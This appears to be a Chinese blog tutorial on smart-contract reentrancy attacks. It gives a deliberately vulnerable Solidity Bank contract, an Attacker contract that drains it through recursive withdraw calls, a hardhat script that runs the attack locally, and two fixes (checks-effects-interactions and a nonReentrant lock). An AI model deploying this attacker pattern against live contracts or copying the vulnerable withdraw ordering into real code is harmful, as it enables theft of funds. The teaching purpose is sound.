重入攻击(ReentrancyAttack)是一种常见的智能合约安全漏洞,指黑客利用合约中存在的逻辑漏洞,在调用合约函数时,利用合约逻辑漏洞,反复调用合约的函数,并利用这种递归调用的机制,以欺骗合约的计算,从而使攻击者获得非法利益。重入攻击的本质是合约内部调用的函数未能恰当地处理合约状态的
重入攻击(Reentrancy Attack)是一种常见的智能合约安全漏洞,指黑客利用合约中存在的逻辑漏洞,在调用合约函数时,利用合约逻辑漏洞,反复调用合约的函数,并利用这种递归调用的机制,以欺骗合约的计算,从而使攻击者获得非法利益。
重入攻击的本质是合约内部调用的函数未能恰当地处理合约状态的更改。攻击者利用这个漏洞,将攻击代码插入到合约执行流程中,使得攻击者可以在合约还未完成之前再次调用某个函数(如: fallback
, receive
),从而让攻击者在合约中获得额外的资产或信息。
sETH
。这里我使用hardhat创建合约工程。Bank为被攻击者合约,Attacker为攻击者合约。ts脚本模拟整个攻击流程。
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";
contract Bank {
mapping(address => uint) balances;
constructor() payable {}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint val) external {
require(val <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: val}("");
if (success) {
console.log('withdraw successfully');
}
require(success, "Failed to withdraw");
balances[msg.sender] -= val;
}
}
contract Attacker {
Bank bank;
constructor(address attacked) payable {
bank = Bank(attacked);
}
function attack() external {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
receive() external payable {
console.log('receive');
if (address(bank).balance > 1 ether) {
bank.withdraw(1 ether);
}
}
}
import { ethers } from "hardhat";
(async () => {
const [account1, account2] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("Bank");
const bank = await Bank.connect(account2).deploy({ value: ethers.utils.parseEther('30') });
await bank.deployed();
console.log("The address of the bank contract is:", bank.address);
const Attacker = await ethers.getContractFactory("Attacker");
const attacker = await Attacker.connect(account1).deploy(bank.address, { value: ethers.utils.parseEther('1') });
await attacker.deployed();
console.log("The address of the attacker contract is:", attacker.address);
try {
await attacker.attack();
} catch (err: any) {
console.log(err.message);
}
const balance = await ethers.provider.getBalance(bank.address);
console.log('The balance of bank is:', balance);
console.log('The balance of attacker is:', await ethers.provider.getBalance(attacker.address));
})();
attack
合约函数deposit 1eth
,此时,bank合约的balances
中会记录attacker合约的存款数withdraw 1eth
, 由于balances[msg.sender] === 1eth
, 顺利通过bank合约的余额判断,执行msg.sender.call
, 向attacker合约转账,触发attacker合约的receive
函数,然而receive
函数却再次调用bank合约的withdraw
, 从而形成了重入(递归调用)目前主要通过两种方式修复和预防重入攻击,检查-生效-交互模式和重入锁
检查-生效-交互模式是指,编写合约函数时
require(val <= balances[msg.sender], "Insufficient balance");
balances[msg.sender] -= val;
(bool success, ) = msg.sender.call{value: val}("");
以下为通过检查-生效-交互模式修复的Bank合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";
contract Bank {
mapping(address => uint) balances;
constructor() payable {}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint val) external {
// 检查
require(val <= balances[msg.sender], "Insufficient balance");
// 生效
balances[msg.sender] -= val;
// 交互
(bool success, ) = msg.sender.call{value: val}("");
if (success) {
console.log('withdraw successfully');
}
require(success, "Failed to withdraw");
}
}
在solidity合约开发中,重入锁是一种防止重入函数的修饰器(modifier)。它通过一个默认为0
的状态变量_status
来控制被修饰函数是否应该被顺利执行。被重入锁修饰的函数,在第一次调用时会检查_status
是否为0
,紧接着将_status
的值设置为1
,调用结束后再将_status
改为0
。这样,当攻击合约在调用结束前第二次的调用就会报错,重入攻击就失败了
以下为通过重入锁修复的Bank合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";
contract Bank {
uint8 private _status;
mapping(address => uint) balances;
constructor() payable {}
// 重入锁
modifier nonReentrant() {
require(_status == 0, "Reentrant call");
_status = 1;
_;
_status = 0;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint val) external nonReentrant {
require(val <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: val}("");
if (success) {
console.log('withdraw successfully');
}
require(success, "Failed to withdraw");
balances[msg.sender] -= val;
}
}
重入攻击是一种常见的合约攻击手段,在以太坊历史上也造成过重大的资产损失。预防重入攻击的方式主要有检查-生效-交互和重入锁。新手在开发合约时,推荐使用重入锁(nonReentrant
修饰符),预防重入攻击
https://github.com/demo-box/blockchain-demo/tree/main/reentrancy
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!